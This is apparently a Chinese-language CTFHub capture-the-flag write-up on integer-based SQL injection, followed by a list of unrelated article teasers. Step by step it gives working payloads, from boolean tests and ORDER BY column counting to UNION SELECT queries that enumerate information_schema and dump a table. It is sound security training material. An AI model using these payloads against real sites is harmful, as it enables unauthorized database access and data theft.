CTFHub | 整数型注入

news/2024/5/20 0:36:52 标签: web安全, CTF

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

整数型注入:

        (无)

网页显示内容

        

        

0x02 解题过程

        根据题目描述输入 1 进行测试,发现此题可能存在 SQL 注入漏洞。那么使用' and 1 = 1 ‘和' and 1 = 2’进行判断,此题存在 SQL 整数型漏洞注入。那么第一步先判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看一下全部数据库名,并查看这些数据库的表名,发现一个表名为 flag 比较可疑。查看这个表名的全部字段后接着查看表中的数据得到此题 flag 。

        

根据网页显示内容输入1进行测试,发现此题可能存在SQL注入

        

在URL末尾使用'and 1 = 1'和'and 1 = 2'验证是否存在SQL注入

#payload
and 1 = 1
and 1 = 2

        

'and1 = 1'语句正常执行,回显正常

and 1 = 1

        

'and1 = 2'语句正常执行,回显出错,说明此题存在SQL整数型注入

and 1 = 2

        

使用order by 判断字段数量,从order by 1开始

order by 1

        

判断字段2,使用order by 2

order by 2

        

判断字段3,使用order by 3,这里无回显,那么字段数量为2列

order by 3

        

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

union select 1,2

        

判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据

id=-1 union select 1,2

        

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

id=-1 union select 1,version()

        

ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli

id=-1 union select 1,database()

        

ⅩⅡ查看全部数据库名

id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

        

ⅩⅢ分别查看刚才获取到的数据库全部表名,最后在sqli数据库中发现名为flag的可疑表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

        

ⅩⅣ查看flag表中的全部字段名

id=-1union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

        

ⅩⅤ查看flag表中的全部数据,发现此题flag

id=-1 union select 1,group_concat(flag) from sqli.flag

        

        

0x03 SQL整数型注入

整数型注入漏洞判断:

  1. payload:and 1 = 1,语句执行正常,网页回显无差异
  2. payload:and 1 = 2,语句执行正常,无法查询出结果,网页回显存在差异

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。


http://www.niftyadmin.cn/n/815.html

相关文章

【Java-----File类详解】

File类概述 Java.io.File类是文件和文件目录路径的抽象表示形式,与平台无关。文件和目录是可以通过File封装成对象的,对于File而言,其封装的并不是一个真实存在的文件,仅仅是一个路径名而已,它可以是存在的&#xff0…

RocketMQ Flink Catalog 设计与实践

摘要:本文为 RocketMQ Flink Catalog 使用指南。主要内容包括: Flink 和 Flink CatalogRocketMQ Flink ConnectorRocketMQ Flink Catalog 作者:李晓双 ,Apache RocketMQ Contributor Mentor:蒋晓峰,Apache…

FPGA学习笔记(七)verilog的深入学习之任务与函数(语法篇3)

目录任务与函数任务任务的基本概况自动(可重入)任务函数函数概述自动(递归)函数常量函数带符号函数条件编译在之前学习的基础上,继续加深对Verilog HDl的学习 前两个见: FPGA学习笔记(二&#…

【C语言】数据的存储

数据的存储1. 前言2. 数据类型2.1 整形家族2.2 浮点数家族2.3 构造类型(自定义类型)2.4 指针类型2.5 空类型(无类型)3. 整数在内存中的存储4. 大小端5. 浮点数在内存中的存储1. 前言 大家好,我是努力学习游泳的鱼。要…

SD-WAN怎么样优化广域网?

网络可靠性是当今大多数公司的一个大问题。标准 WAN 连接通常会出现高延迟和数据包丢失,尤其是当您远离带宽更充足的大都市区域时。当延迟成为问题时,添加备份或辅助WAN链路并没有多大帮助。 那么如何解决呢? SD-WAN可以通过应用各种技术来…

Docker 开启 buildx 多CPU架构镜像制作

Docker开启buildx多CPU架构镜像制作buildx简介关于QEMU系统限制查看Linux内核版本查看Docker版本Docker开启实验特性启用 binfmt_misc 来运行非本地架构 Docker 镜像检查 QEMU 处理程序来验证 binfmt_misc 设置是否正确创建并启用 Docker 多架构构建器常用语法buildx简介 buil…

Python编程运算符 比较运算符

作者简介:一名在校计算机学生、每天分享Python的学习经验、和学习笔记。 座右铭:低头赶路,敬事如仪 个人主页:网络豆的主页​​​​​​ 目录 前言 一.比较运算符 二.比较运算符使用 (1)等于 &…

进程管理程序supervisord-快速开始

文章目录进程管理程序supervisord-快速开始什么是SupervisorSupervisord存在的缺陷Supervisor安装配置Supervisord工具的使用流程Supervisor配置systemctl服务工作常用技巧程序挂了,不让supervisord帮我拉起supervisor程序启动优先级(顺序)参…